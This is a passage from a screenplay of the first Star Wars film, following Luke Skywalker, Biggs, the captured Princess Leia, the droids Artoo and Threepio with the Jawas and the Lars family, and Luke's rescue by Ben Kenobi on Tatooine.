+FIXER: I keep telling you, the Rebellion is a long way from here. I +doubt if the Empire would even fight to keep this system. Believe me +Luke, this planet is a big hunk of nothing... + +Luke agrees, although it's obvious he isn't sure why. The +group stumbles back into the power station, grumbling about +Luke's ineptitude. + +INTERIOR: REBEL BLOCKADE RUNNER -- HALLWAY + +Princess Leia is led down a low-ceilinged hallway by a squad +of armored stormtroopers. Her hands are bound and she is +brutally shoved when she is unable to keep up with the briskly +marching troops. They stop in a smoky hallway as Darth Vader +emerges from the shadows. The sinister Dark Lord stares hard +at the frail young senator, but she doesn't move. + +LEIA: Lord Vader, I should have known. Only you could be so bold. The +Imperial Senate will not sit for this, when they hear you've attacked +a diplomatic... + +VADER: Don't play games with me, Your Highness. You weren't on any +mercy mission this time. You passed directly through a restricted +system. Several transmissions were beamed to this ship by Rebel spies. +I want to know what happened to the plans they sent you. + +LEIA: I don't know what you're talking about. I'm a member of the +Imperial Senate on a diplomatic mission to Alderaan... + +VADER: You're a part of the Rebel Alliance...and a traitor. Take her +away! + +Leia is marched away down the hallway and into the +smoldering hole blasted in the side of the ship. An Imperial +Commander turns to Vader. + +COMMANDER: Holding her is dangerous. If word of this gets out, it +could generate sympathy for the Rebellion in the senate. + +VADER: I have traced the Rebel spies to her. Now she is my only link +to find their secret base! + +COMMANDER: She'll die before she tells you anything. + +VADER: Leave that to me. Send a distress signal and then inform the +senate that all aboard were killed! + +Another Imperial Officer approaches Vader and the +Commander. They stop and snap to attention. + +SECOND OFFICER: Lord Vader, the battle station plans are not aboard +this ship! And no transmissions were made. An escape pod was +jettisoned during the fighting, but no life forms were aboard. + +Vader turns to the Commander. + +VADER: She must have hidden the plans in the escape pod. Send a +detachment down to retrieve them. See to it personally, Commander. +There'll be no one to stop us this time. + +COMMANDER: Yes, sir. + +EXTERIOR: SPACE. + +The Imperial Stardestroyer comes over the surface of the +planet Tatooine. + +EXTERIOR: TATOOINE -- DESERT. + +Jundland, or "No Man's Land", where the rugged desert mesas +meet the foreboding dune sea. The two helpless astro-droids +kick up clouds of sand as they leave the lifepod and clumsily +work their way across the desert wasteland. The lifepod in the +distance rests half buried in the sand. + +THREEPIO: How did I get into this mess? I really don't know how. We +seem to be made to suffer. It's our lot in life. + +Artoo answers with beeping sounds. + +THREEPIO: I've got to rest before I fall apart. My joints are almost +frozen. + +Artoo continues to respond with beeping sounds. + +THREEPIO: What a desolate place this is. + +Suddenly Artoo whistles, makes a sharp right turn and +starts off in the direction of the rocky desert mesas. Threepio +stops and yells at him. + +THREEPIO: Where are you going? + +A stream of electronic noises pours forth from the small +robot. + +THREEPIO: Well, I'm not going that way. It's much too rocky. This way +is much easier. + +Artoo counters with a long whistle. + +THREEPIO: What makes you think there are settlements over there? + +Artoo continues to make beeping sounds. + +THREEPIO: Don't get technical with me. + +Artoo continues to make beeping sounds. + +THREEPIO: What mission? What are you talking about? I've had just +about enough of you! Go that way! You'll be malfunctioning within a +day, you nearsighted scrap pile! + +Threepio gives the little robot a kick and starts off in +the direction of the vast dune sea. + +THREEPIO: And don't let me catch you following me begging for help, +because you won't get it. + +Artoo's reply is a rather rude sound. He turns and trudges +off in the direction of the towering mesas. + +THREEPIO: No more adventures. I'm not going that way. + +Artoo beeps to himself as he makes his way toward the +distant mountains. + +EXTERIOR: TATOOINE -- DUNE SEA. + +Threepio, hot and tired, struggles up over the ridge of a dune; +only to find more dunes, which seem to go on for endless +miles. He looks back in the direction of the now distant rock +mesas. + +THREEPIO: That malfunctioning little twerp. This is all his fault! He +tricked me into going this way, but he'll do no better. + +In a huff of anger and frustration, Threepio knocks the +sand from his joints. His plight seems hopeless, when a glint +of reflected light in the distance reveals an object moving +towards him. + +THREEPIO: Wait, what's that? A transport! I'm saved! + +The bronze android waves frantically and yells at the +approaching transport. + +THREEPIO: Over here! Help! Please, help! + +EXTERIOR: TATOOINE -- ANCHORHEAD SETTLEMENT -- POWER STATION -- DAY. + +Luke and Biggs are walking and drinking a malt brew. Fixer and +the others can be heard working inside. + +LUKE: (Very animated)...so I cut off my power, shut down the +afterburners and came in low on Deak's trail. I was so close I thought +I was going to fry my instruments. As it was I busted up the Skyhopper +pretty bad. Uncle Owen was pretty upset. He grounded me for the rest +of the season. You should have been there...it was fantastic. + +BIGGS: You ought to take it easy Luke. You may be the hottest +bushpilot this side of Mos Eisley, but those little Skyhoppers are +dangerous. Keep it up, and one day, whammo, you're going to be nothing +more than a dark spot on the down side of a canyon wall. + +LUKE: Look who's talking. Now that you've been around those giant +starships you're beginning to sound like my uncle. You've gotten soft +in the city... + +BIGGS: I've missed you kid. + +LUKE: Well, things haven't been the same since you left, Biggs. It's +been so...quiet. + +Biggs looks around then leans close to Luke. + +BIGGS: Luke, I didn't come back just to say good-bye...I shouldn't +tell you this, but you're the only one I can trust...and if I don't +come back, I want somebody to know. + +Luke's eyes are wide with Biggs' seriousness and loyalty. + +LUKE: What are you talking about? + +BIGGS: I made some friends at the Academy. (he whispers)...when our +frigate goes to one of the central systems, we're going to jump ship +and join the Alliance... + +Luke, amazed and stunned, is almost speechless. + +LUKE: Join the Rebellion?! Are you kidding! How? + +BIGGS: Quiet down will ya! You got a mouth bigger than a meteor +crater! + +LUKE: I'm sorry. I'm quiet. (he whispers) Listen how quiet I am. You +can barely hear me... + +Biggs shakes his head angrily and then continues. + +BIGGS: My friend has a friend on Bestine who might help us make +contact. + +LUKE: Your crazy! You could wander around forever trying to find them. + +BIGGS: I know it's a long shot, but if I don't find them I'll do what +I can on my own...It's what we always talked about. Luke, I'm not +going to wait for the Empire to draft me into service. The Rebellion +is spreading and I want to be on the right side -- the side I believe +in. + +LUKE: And I'm stuck here... + +BIGGS: I thought you were going to the Academy next term. You'll get +your chance to get off this rock. + +LUKE: Not likely! I had to cancel my application. There has been a lot +of unrest among the Sandpeople since you left...they've even raided +the outskirts of Anchorhead. + +BIGGS: Your uncle could hold off a whole colony of Sandpeople with one +blaster. + +LUKE: I know, but he's got enough vaporators going to make the place +pay off. He needs me for just one more season. I can't leave him now. + +BIGGS: I feel for you, Luke, you're going to have to learn what seems +to be important or what really is important. What good is all your +uncle's work if it's taken over by the Empire?...You know they're +starting to nationalize commerce in the central systems...it won't be +long before your uncle is merely a tenant, slaving for the greater +glory of the Empire. + +LUKE: It couldn't happen here. You said it yourself. The Empire won't +bother with this rock. + +BIGGS: Things always change. + +LUKE: I wish I was going...Are you going to be around long? + +BIGGS: No, I'm leaving in the morning... + +LUKE: Then I guess I won't see you. + +BIGGS: Maybe someday...I'll keep a lookout. + +LUKE: Well, I'll be at the Academy next season...after that who knows. +I won't be drafted into the Imperial Starfleet that's for sure...Take +care of yourself, you'll always be the best friend I've got. + +BIGGS: So long, Luke. + +Biggs turns away from his old friend and heads towards the +power station. + +EXTERIOR: TATOOINE -- ROCK CANYON -- SUNSET. + +The gargantuan rock formations are shrouded in a strange +foreboding mist and the onimous sounds of unearthly creatures +fill the air. Artoo moves cautiously through the creepy rock +canyon, inadvertently making a loud clicking noise as he goes. +He hears a distant, hard, metallic sound and stops for a +moment. Convinced he is alone, he continues on his way. +In the distance, a pepple tumbles down the steep canyon +wall and a small dark figure darts into the shadows. A little +further up the canyon a slight flicker of light reveals a pair +of eyes in the dark recesses only a few feet from the narrow +path. +The unsuspecting robot waddles along the rugged trail until +suddenly, out of nowhere, a powerful magnetic ray shoots out +of the rocks and engulfs him in an eerie glow. He manages one +short electronic squeak before he topples over onto his back. +His bright computer lights flicker off, then on, then off +again. Out of the rocks scurry three Jawas, no taller than +Artoo. They holster strange and complex weapons as they +cautiously approach the robot. They wear grubby cloaks and +their faces are shrouded so only their glowing eyes can be +seen. They hiss and make odd guttural sounds as they heave the +heavy robot onto their shoulders and carry him off down the +trail. + +EXTERIOR: TATOOINE -- ROCK CANYON -- SANDCRAWLER -- SUNSET. + +The eight Jawas carry Artoo out of the canyon to a huge +tank-like vehicle the size of a four-story house. They weld a +small disk on the side of Artoo and then put him under a large +tube on the side of the vehicle and the little robot is sucked +into the giant machine. +The filthy little Jawas scurry like rats up small ladders +and enter the main cabin of the behemoth transport. + +INTERIOR: SANDCRAWLER -- HOLD AREA. + +It is dim inside the hold area of the Sandcrawler. Artoo +switches on a small floodlight on his forehead and stumbles +around the scrap heap. The narrow beam swings across rusty +metal rocket parts and an array of grotesquely twisted and +maimed astro-robots. He lets out a pathetic electronic whimper +and stumbles off toward what appears to be a door at the end +of the chamber. + +INTERIOR: SANDCRAWLER -- PRISON AREA. + +Artoo enters a wide room with a four-foot ceiling. In the +middle of the scrap heap sit a dozen or so robots of various +shapes and sizes. Some are engaged in electronic conversation, +while others simply mill about. A voice of recognition calls +out from the gloom. + +THREEPIO: Artoo-Detoo! It's you! It's you! + +A battered Threepio scrambles up to Artoo and embraces him. + +EXTERIOR: TATOOINE -- ROCK CANYON -- SANDCRAWLER -- SUNSET. + +The enormous Sandcrawler lumbers off toward the magnificent +twin suns, which are slowly setting over a distant mountain +ridge. + +EXTERIOR: TATOOINE -- DESERT -- DAY. + +Four Imperial stormtroopers mill about in front of the half- +buried lifepod that brought Artoo and Threepio to Tatooine. A +trooper yells to an officer some distance away. + +FIRST TROOPER: Someone was in the pod. The tracks go off in this +direction. + +A second trooper picks a small bit of metal out of the sand +and gives it to the first trooper. + +SECOND TROOPER: Look, sir -- droids. + +EXTERIOR: TATOOINE -- DUNES. + +The Sandcrawler moves slowly down a great sand dune. + +INTERIOR: SANDCRAWLER. + +Threepio and Artoo noisily bounce along inside the cramped +prison chamber. Artoo appears to be shut off. + +THREEPIO: Wake up! Wake up! + +Suddenly the shaking and bouncing of the Sandcrawler stops, +creating quite a commotion among the mechanical men. +Threepio's fist bangs the head of Artoo whose computer lights +pop on as he begins beeping. At the far end of the long +chamber a hatch opens, filling the chamber with blinding white +light. a dozen or so Jawas make their way through the odd +assortment of robots. + +THREEPIO: We're doomed. + +A Jawa starts moving toward them. + +THREEPIO: Do you think they'll melt us down? + +Artoo responds, making beeping sounds. + +THREEPIO: Don't shoot! Don't shoot! Will this never end? + +EXTERIOR: TATOOINE -- DESERT -- LARS HOMESTEAD -- AFTERNOON. + +The Jawas mutter gibberish as they busily line up their +battered captives, including Artoo and Threepio, in front of +the enormous Sandcrawler, which is parked beside a small +homestead consisting of three large holes in the ground +surrounded by several tall moisture vaporators and one small +adobe block house. +The Jawas scurry around fussing over the robots, +straightening them up or brushing some dust from a dented +metallic elbow. The shrouded little creatures smell horribly, +attracting small insects to the dark areas when their mouths +and nostrils should be. +Out of the shadows of a dingy side-building limps Owen +Lars, a large burly man in his mid-fifties. His reddish eyes +are sunken in a dust-covered face. As the farmer carefully +inspects each robot, he is closely followed by his slump- +shouldered nephew, Luke Skywalker. One of the vile little +Jawas walks ahead of the farmer spouting an animated sales +pitch in a queer, unintelligible language. +A voice calls out from one of the huge holes that form the +homestead. Luke goes over to the edge and sees his Aunt Beru +standing in the main courtyard. + +BERU: Luke, tell Owen that if he gets a translator to be sure it +speaks Bocce. + +LUKE: It looks like we don't have much of a choice but I'll remind +him. + +Luke returns to his uncle as they look over the equipment +for sale with the Jawa leader. + +OWEN: I have no need for a protocol droid. + +THREEPIO: (quickly) Sir -- not in an environment such as this -- +that's why I've also been programmed for over thirty secondary +functions that... + +OWEN: What I really need is a droid that understands the binary +language of moisture vaporators. + +THREEPIO: Vaporators! Sir -- My first job was programming binary load +lifter...very similar to your vaporators. You could say... + +OWEN: Do you speak Bocce? + +THREEPIO: Of course I can, sir. It's like a second language for +me...I'm as fluent in Bocce... + +OWEN: All right shut up! (turning to Jawa) I'll take this one. + +THREEPIO: Shutting up, sir. + +OWEN: Luke, take these two over to the garage, will you? I want you to +have both of them cleaned up before dinner. + +LUKE: But I was going into Toshi Station to pick up some power +converters... + +OWEN: You can waste time with your friends when your chores are done. +Now come on, get to it! + +LUKE: All right, come on! And the red one, come on. Well, come on, +Red, let's go. + +As the Jawas start to lead the three remaining robots +back into the Sandcrawler, Artoo lets out a pathetic little +beep and starts after his old friend Threepio. He is +restrained by a slimy Jawa, who zaps him with a control box. + +Owen is negotiating with the head Jawa. Luke and the two +robots start off for the garage when a plate pops off the head +of the red astro-droid's head plate and it sparks wildly. + +LUKE: Uncle Owen... + +OWEN: Yeah? + +LUKE: This R2 unit has a bad motivator. Look! + +OWEN: (to the head Jawa) Hey, what're you trying to push on us? + +The Jawa goes into a loud spiel. Meanwhile, Artoo has +sneaked out of line and is moving up and down trying to +attract attention. He lets out with a low whistle. Threepio +taps Luke on the shoulder. + +THREEPIO: (pointing to Artoo) Excuse me, sir, but that R2 unit is in +prime condition. A real bargain. + +LUKE: Uncle Owen... + +OWEN: Yeah? + +LUKE: What about that one? + +OWEN: (to Jawa) What about that blue one? We'll take that one. + +With a little reluctance the scruffy dwarf trades the +damaged astro-droid for Artoo. + +LUKE: Yeah, take it away. + +THREEPIO: Uh, I'm quite sure you'll be very pleased with that one, +sir. He really is in first-class condition. I've worked with him +before. Here he comes. + +Owen pays off the whining Jawa as Luke and the two robots +trudge off toward a grimy homestead entry. + +LUKE: Okay, let's go. + +THREEPIO: (to Artoo) Now, don't you forget this! Why I should stick my +neck out for you is quite beyond my capacity! + +INTERIOR: LARS HOMESTEAD -- GARAGE AREA -- LATE AFTERNOON. + +The garage is cluttered and worn, but a friendly peaceful +atmosphere permeates the low grey chamber. Threepio lowers +himself into a large tub filled with warm oil. Near the +battered Landspeeder little Artoo rests on a large battery +with a cord to his face. + +THREEPIO: Thank the maker! This oil bath is going to feel so good. +I've got such a bad case of dust contamination, I can barely move! + +Artoo beeps a muffled reply. Luke seems to be lost in +thought as he runs his hand over the damaged fin of a small +two-man Skyhopper spaceship resting in a low hangar off the +garage. Finally Luke's frustrations get the better of him and +he slams a wrench across the workbench. + +LUKE: It just isn't fair. Oh, Biggs is right. I'm never gonna get out +of here! + +THREEPIO: Is there anything I might do to help? + +Luke glances at the battered robot. A bit of his anger +drains and a tiny smile creeps across his face. + +LUKE: Well, not unless you can alter time, speed up the harvest, or +teleport me off this rock! + +THREEPIO: I don't think so, sir. I'm only a droid and not very +knowledgeable about such things. Not on this planet, anyways. As a +matter of fact, I'm not even sure which planet I'm on. + +LUKE: Well, if there's a bright center to the universe, you're on the +planet that it's farthest from. + +THREEPIO: I see, sir. + +LUKE: Uh, you can call me Luke. + +THREEPIO: I see, sir Luke. + +LUKE: (laughing) Just Luke. + +THREEPIO: And I am See-Threepio, human-cyborg relations, and this is +my counterpart, Artoo-Detoo. + +LUKE: Hello. + +Artoo beeps in response. Luke unplugs Artoo and begins to +scrape several connectors on the robot's head with a chrome +pick. Threepio climbs out of the oil tub and begins wiping oil +from his bronze body. + +LUKE: You got a lot of carbon scoring here. It looks like you boys +have seen a lot of action. + +THREEPIO: With all we've been through, sometimes I'm amazed we're in +as good condition as we are, what with the Rebellion and all. + +LUKE: You know of the Rebellion against the Empire? + +THREEPIO: That's how we came to be in your service, if you take my +meaning, sir. + +LUKE: Have you been in many battles? + +THREEPIO: Several, I think. Actually, there's not much to tell. I'm +not much more than an interpreter, and not very good at telling +stories. Well, not at making them interesting, anyways. + +Luke struggles to remove a small metal fragment from Artoo's +neck joint. He uses a larger pick. + +LUKE: Well, my little friend, you've got something jammed in here real +good. Were you on a cruiser or... + +The fragment breaks loose with a snap, sending Luke +tumbling head over heels. He sits up and sees a twelve-inch +three-dimensional hologram of Leia Organa, the Rebel senator, +being projected from the face of little Artoo. The image is a +rainbow of colors as it flickers and jiggles in the dimly lit +garage. Luke's mouth hangs open in awe. + +LEIA: Help me, Obi-Wan Kenobi. You're my only hope. + +LUKE: What's this? + +Artoo looks around and sheepishly beeps an answer for +Threepio to translate. Leia continues to repeat the sentence +fragment over and over. + +THREEPIO: What is what?!? He asked you a question...(pointing to Leia) +What is that? + +Artoo whistles his surprise as he pretends to just notice +the hologram. He looks around and sheepishly beeps an answer +for Threepio to translate. Leia continues to repeat the +sentence fragment over and over. + +LEIA: Help me, Obi-Wan Kenobi. You're my only hope. Help me, Obi-Wan +Kenobi. You're my only hope. + +THREEPIO: Oh, he says it's nothing, sir. Merely a malfunction. Old +data. Pay it no mind. + +Luke becomes intrigued by the beautiful girl. + +LUKE: Who is she? She's beautiful. + +THREEPIO: I'm afraid I'm not quite sure, sir. + +LEIA: Help me, Obi-Wan Kenobi... + +THREEPIO: I think she was a passenger on our last voyage. A person of +some importance, sir -- I believe. Our captain was attached to... + +LUKE: Is there more to this recording? + +Luke reaches out for Artoo but he lets out several frantic +squeaks and a whistle. + +THREEPIO: Behave yourself, Artoo. You're going to get us in trouble. +It's all right, you can trust him. He's our new master. + +Artoo whistles and beeps a long message to Threepio. + +THREEPIO: He says he's the property of Obi-Wan Kenobi, a resident of +these parts. And it's a private message for him. Quite frankly, sir I +don't know what he's talking about. Our last master was Captain +Antilles, but with what we've been through, this little R2 unit has +become a bit eccentric. + +LUKE: Obi-Wan Kenobi? I wonder if he means old Ben Kenobi? + +THREEPIO: I beg your pardon, sir, but do you know what he's talking +about? + +LUKE: Well, I don't know anyone named Obi-Wan, but old Ben lives out +beyond the dune sea. He's kind of a strange old hermit. + +Luke's gazes at the beautiful young princess for a few +moments. + +LUKE: I wonder who she is. It sounds like she's in trouble. I'd better +play back the whole thing. + +Artoo beeps something to Threepio. + +THREEPIO: He says the restraining bolt has short circuited his +recording system. He suggests that if you remove the bolt, he might be +able to play back the entire recording. + +Luke looks longingly at the lovely, little princess and +hasn't really heard what Threepio has been saying. + +LUKE: H'm? Oh, yeah, well, I guess you're too small to run away on me +if I take this off! Okay. + +Luke takes a wedged bar and pops the restraining bolt off +Artoo's side. + +LUKE: There you go. + +The princess immediately disappears... + +LUKE: Well, wait a minute. Where'd she go? Bring her back! Play back +the entire message. + +Artoo beeps an innocent reply as Threepio sits up in +embarrassment. + +THREEPIO: What message? The one you're carrying inside your rusty +innards! + +A women's voice calls out from another room. + +AUNT BERU: Luke? Luke! Come to dinner! + +Luke stands up and shakes his head at the malfunctioning +robot. + +LUKE: All right, I'll be right there, Aunt Beru. + +THREEPIO: I'm sorry, sir, but he appears to have picked up a slight +flutter. + +Luke tosses Artoo's restraining bolt on the workbench and +hurries out of the room. + +LUKE: Well, see what you can do with him. I'll be right back. + +THREEPIO: (to Artoo) Just you reconsider playing that message for him. + +Artoo beeps in response. + +THREEPIO: No, I don't think he likes you at all. + +Artoo beeps. + +THREEPIO: No, I don't like you either. + +INTERIOR: LARS HOMESTEAD -- DINING AREA. + +Luke's Aunt Beru, a warm, motherly woman, fills a pitcher +with blue fluid from a refrigerated container in the well-used +kitchen. She puts the pitcher on a tray with some bowls of +food and starts for the dining area. +Luke sits with his Uncle Owen before a table covered with +steaming bowls of food as Aunt Beru carries in a bowl of red +grain. + +LUKE: You know, I think that R2 unit we bought might have been stolen. + +OWEN: What makes you think that? + +LUKE: Well, I stumbled across a recording while I was cleaning him. He +says he belongs to someone called Obi-Wan Kenobi. + +Owen is greatly alarmed at the mention of his name, but +manages to control himself. + +LUKE: I thought he might have meant old Ben. Do you know what he's +talking about? Well, I wonder if he's related to Ben. + +Owen breaks loose with a fit of uncontrolled anger. + +OWEN: That old man's just a crazy old wizard. Tomorrow I want you to +take that R2 unit into Anchorhead and have its memory flushed. That'll +be the end of it. It belongs to us now. + +LUKE: But what if this Obi-Wan comes looking for him? + +OWEN: He won't, I don't think he exists any more. He died about the +same time as your father. + +LUKE: He knew my father? + +OWEN: I told you to forget it. Your only concern is to prepare the new +droids for tomorrow. In the morning I want them on the south ridge +working out those condensers. + +LUKE: Yes, sir. I think those new droids are going to work out fine. +In fact, I, uh, was also thinking about our agreement about my staying +on another season. And if these new droids do work out, I want to +transmit my application to the Academy this year. + +Owen's face becomes a scowl, although he tries to suppress +it. + +OWEN: You mean the next semester before harvest? + +LUKE: Sure, there're more than enough droids. + +OWEN: Harvest is when I need you the most. Only one more season. This +year we'll make enough on the harvest so I'll be able to hire some +more hands. And then you can go to the Academy next year. + +Luke continues to toy with his food, not looking at his +uncle. + +OWEN: You must understand I need you here, Luke. + +LUKE: But it's a whole 'nother year. + +OWEN: Look, it's only one more season. + +Luke pushes his half-eaten plate of food aside and stands. + +LUKE: Yeah, that's what you said last year when Biggs and Tank left. + +AUNT BERU: Where are you going? + +LUKE: It looks like I'm going nowhere. I have to finish cleaning those +droids. + +Resigned to his fate, Luke paddles out of the room. Owen +mechanically finishes his dinner. + +AUNT BERU: Owen, he can't stay here forever. Most of his friends have +gone. It means so much to him. + +OWEN: I'll make it up to him next year. I promise. + +AUNT BERU: Luke's just not a farmer, Owen. He has too much of his +father in him. + +OWEN: That's what I'm afraid of. + +EXTERIOR: TATOOINE -- LARS HOMESTEAD. + +The giant twin suns of Tatooine slowly disappear behind a +distant dune range. Luke stands watching them for a few +moments, then reluctantly enters the doomed entrance to the +homestead. + +INTERIOR: LARS HOMESTEAD -- GARAGE. + +Luke enters the garage to discover the robots nowhere in +sight. He takes a small control box from his utility belt +similar to the one the Jawas were carrying. He activates the +box, which creates a low hum, and Threepio, letting out a +short yell, pops up from behind the Skyhopper spaceship. + +LUKE: What are you doing hiding there? + +Threepio stumbles forward, but Artoo is still nowhere in +sight. + +THREEPIO: It wasn't my fault, sir. Please don't deactivate me. I told +him not to go, but he's faulty, malfunctioning; kept babbling on about +his mission. + +LUKE: Oh, no! + +Luke races out of the garage followed by Threepio. + +EXTERIOR: TATOOINE -- LARS HOMESTEAD. + +Luke rushes out of the small doomed entry to the homestead and +searches the darkening horizon for the small triped astro- +robot. Threepio struggles out of the homestead and on the salt +flat as Luke scans the landscape with his electrobinoculars. + +THREEPIO: That R2 unit has always been a problem. These astro-droids +are getting quite out of hand. Even I can't understand their logic at +times. + +LUKE: How could I be so stupid? He's nowhere in sight. Blast it! + +THREEPIO: Pardon me, sir, but couldn't we go after him? + +LUKE: It's too dangerous with all the Sandpeople around. We'll have to +wait until morning. + +Owen yells up from the homestead plaza. + +OWEN: Luke, I'm shutting the power down for the night. + +LUKE: All right, I'll be there in a few minutes. Boy, am I gonna get it. + +He takes one final look across the dim horizon. + +LUKE: You know that little droid is going to cause me a lot of +trouble. + +THREEPIO: Oh, he excels at that, sir. + +INTERIOR: LARS HOMESTEAD -- PLAZA. + +Morning slowly creeps into the sparse but sparkling oasis of +the open courtyard. The idyll is broken be the yelling of +Uncle Owen, his voice echoing throughout the homestead. + +OWEN: Luke? Luke? Luke? Where could he be loafing now! + +INTERIOR: LARS HOMESTEAD -- KITCHEN. + +The interior of the kitchen is a worm glow as Aunt Beru prepares +the morning breakfast. Owen enters in a huff. + +OWEN: Have you seen Luke this morning? + +AUNT BERU: He said he had some things to do before he started today, +so he left early. + +OWEN: Uh? Did he take those two new droids with him? + +AUNT BERU: I think so. + +OWEN: Well, he'd better have those units in the south range repaired +be midday or there'll be hell to pay! + +EXTERIOR: TATOOINE -- DESERT WASTELAND -- LUKE'S SPEEDER -- DAY. + +The rock and sand of the desert floor are a blur as Threepio +pilots the sleek Landspeeder gracefully across the vast +wasteland. + +INTERIOR/EXTERIOR: LUKE'S SPEEDER -- DESERT WASTELAND -- TRAVELING -- DAY. + +Luke leans over the back of the speeder and adjusts something +in the motor compartment. + +LUKE: (yelling) How's that. + +Threepio signals that is fine and Luke turns back into the +wind-whipped cockpit and pops the canopy shut. + +LUKE: Old Ben Kenobi lives out in this direction somewhere, but I +don't see how that R2 unit could have come this far. We must have +missed him. Uncle Owen isn't going to take this very well. + +THREEPIO: Sir, would it help if you told him it was my fault. + +LUKE: (brightening) Sure. He needs you. He'd probably only deactivate +you for a day or so... + +THREEPIO: Deactivate! Well, on the other hand if you hadn't removed +his restraining bolt... + +LUKE: Wait, there's something dead ahead on the scanner. It looks like +our droid...hit the accelerator. + +EXTERIOR: TATOOINE -- ROCK MESA -- DUNE SEA -- COASTLINE -- DAY. + +From high on a rock mesa, the tiny Landspeeder can be seen +gliding across the desert floor. Suddenly in the foreground +two weather-beaten Sandpeople shrouded in their grimy desert +cloaks peer over the edge of the rock mesa. One of the +marginally human creatures raises a long ominous laser rifle +and points it at the speeder but the second creature grabs the +gun before it can be fired. +The Sandpeople, or Tusken Raiders as they're sometimes +called, speak in a coarse barbaric language as they get into +an animated argument. The second Tusken Raider seems to get in +the final word and the nomads scurry over the rocky terrain. + +EXTERIOR: TATOOINE -- ROCK MESA -- CANYON. + +The Tusken Raider approaches two large Banthas standing tied +to a rock. The monstrous, bear-like creatures are as large as +elephants, with huge red eyes, tremendous looped horns, and +long, furry, dinosaur-like tails. The Tusken Raiders mount +saddles strapped to the huge creatures' shaggy backs and ride +off down the rugged bluff. + +EXTERIOR: TATOOINE -- ROCK CANYON -- FLOOR. + +The speeder is parked on the floor of a massive canyon. Luke, +with his long laser rifle slung over his shoulder, stands +before little Artoo. + +LUKE: Hey, whoa, just where do you think you're going? + +The little droid whistles a feeble reply, as Threepio poses +menacingly behind the little runaway. + +THREEPIO: Master Luke here is your rightful owner. We'll have no more +of this Obi-Wan Kenobi jibberish...and don't talk to me about your +mission, either. You're fortunate he doesn't blast you into a million +pieces right here. + +LUKE: Well, come on. It's getting late. I only hope we can get back +before Uncle Owen really blows up. + +THREEPIO: If you don't mind my saying so, sir, I think you should +deactivate the little fugitive until you've gotten him back to your +workshop. + +LUKE: No, he's not going to try anything. + +Suddenly the little robot jumps to life with a mass of +frantic whistles and screams. + +LUKE: What's wrong with him now? + +THREEPIO: Oh my...sir, he says there are several creatures approaching +from the southeast. + +Luke swings his rifle into position and looks to the south. + +LUKE: Sandpeople! Or worst! Come on, let's have a look. Come on. + +EXTERIOR: TATOOINE -- ROCK CANYON -- RIDGE -- DAY. + +Luke carefully makes his way to the top of a rock ridge and +scans the canyon with his electrobinoculars. He spots the two +riderless Banthas. Threepio struggles up behind the young +adventurer. + +LUKE: There are two Banthas down there but I don't see any...wait a +second, they're Sandpeople all right. I can see one of them now. + +Luke watches the distant Tusken Raider through his +electrobinoculars. Suddenly something huge moves in front of +his field of view. Before Luke or Threepio can react, a large, +gruesome Tusken Raider looms over them. Threepio is startled +and backs away, right off the side if the cliff. He can be +heard for several moments as he clangs, bangs and rattles down +the side of the mountain. +The towering creature brings down his curved, +double-pointed gaderffii -- the dreaded axe blade that has +struck terror in the heart of the local settlers. But Luke +manages to block the blow with his laser rifle, which is +smashed to pieces. The terrified farm boy scrambles backward +until he is forced to the edge of a deep crevice. The sinister +Raider stands over him with his weapon raised and lets out a +horrible shrieking laugh. + +EXTERIOR: TATOOINE -- ROCK CANYON -- FLOOR -- DAY. + +Artoo forces himself into the shadows of a small alcove in the +rocks as the vicious Sandpeople walk past carrying the inert +Luke Skywalker, who is dropped in a heap before the speeder. +The Sandpeople ransack the speeder, throwing parts and +supplies in all directions. Suddenly they stop. Then +everything is quiet for a few moments. A great howling moan is +heard echoing throughout the canyon which sends the Sandpeople +fleeing in terror. +Artoo moves even tighter into the shadows as the slight +swishing sound that frightened off the Sandpeople grows even +closer, until a shabby old desert-rat-of-a-man appears and +leans over Luke. His ancient leathery face, cracked and +weathered by exotic climates is set off by dark, penetrating +eyes and a scraggly white beard. Ben Kenobi squints his eyes +as he scrutinizes the unconscious farm boy. Artoo makes a +slight sound and Ben turns and looks right at him. + +BEN: Hello there! Come here my little friend. Don't be afraid. + +Artoo waddles over to were Luke lies crumpled in a +heap and begins to whistle and beep his concern. Ben +puts his hand on Luke's forehead and he begins to +come around. + +BEN: Don't worry, he'll be all right. + +LUKE: What happened? + +BEN: Rest easy, son, you've had a busy day. You're fortunate you're +still in one piece. + +LUKE: Ben? Ben Kenobi! Boy, am I glad to see you! + +BEN: The Jundland wastes are not to be traveled lightly. Tell me young +Luke, what brings you out this far? + +LUKE: Oh, this little droid! I think he's searching for his former +master...I've never seen such devotion in a droid before...there +seems to be no stopping him. He claims to be the property of an Obi- +Wan Kenobi. Is he a relative of yours? Do you know who he's talking +about? + +Ben ponders this for a moment, scratching his scruffy beard. + +BEN: Obi-Wan Kenobi...Obi-Wan? Now thats a name I haven't heard in a +long time...a long time. + +LUKE: I think my uncle knew him. He said he was dead. + +BEN: Oh, he's not dead, not...not yet. + +LUKE: You know him! + +BEN: Well of course, of course I know him. He's me! I haven't gone by +the name Obi-Wan since oh, before you were born. + +LUKE: Then the droid does belong to you. + +BEN: Don't seem to remember ever owning a droid. Very interesting... + +He suddenly looks up at the overhanging cliffs. + +BEN: I think we better get indoors. The Sandpeople are easily startled +but they will soon be back and in greater numbers. + +Luke sits up and rubs his head. Artoo lets out a pathetic +beep causing Luke to remember something. He looks around. + +LUKE: Threepio! + +EXTERIOR: TATOOINE -- SAND PIT -- ROCK MESA -- DAY. + +Little Artoo stands at the edge of a large sand pit and begins +to chatter away in electronic whistles and beeps. Luke and Ben +stand over a very dented and tangled Threepio lying half +buried in the sand. One of his arms has broken off. +Luke tries to revive the inert robot by shaking him and +then flips a hidden switch on his back several times until +finally the mechanical man's systems turn on. + +THREEPIO: Where am I? I must have taken a bad step... + +LUKE: Can you stand? We've got to get out of here before the +Sandpeople return. + +THREEPIO: I don't think I can make it. You go on, Master Luke. There's +no sense in you risking yourself on my account. I'm done for. + +Artoo makes a beeping sound. + +LUKE: No, you're not. What kind of talk is that? + +Luke and Ben help the battered robot to his feet. Little +Artoo watches from the top of the pit. Ben glances around +suspiciously. Sensing something, he stands up and sniffs the +air. + +BEN: Quickly, son...they're on the move. + +INTERIOR: KENOBI'S DWELLING. + +The small, spartan hovel is cluttered with desert junk but +still manages to radiate an air of time-worn comfort and +security. Luke is in one corner repairing Threepio's arm, as +old Ben sits thinking. + +LUKE: No, my father didn't fight in the wars. He was a navigator on a +spice freighter. + +BEN: That's what your uncle told you. He didn't hold with your +father's ideals. Thought he should have stayed here and not gotten +involved. + +LUKE: You fought in the Clone 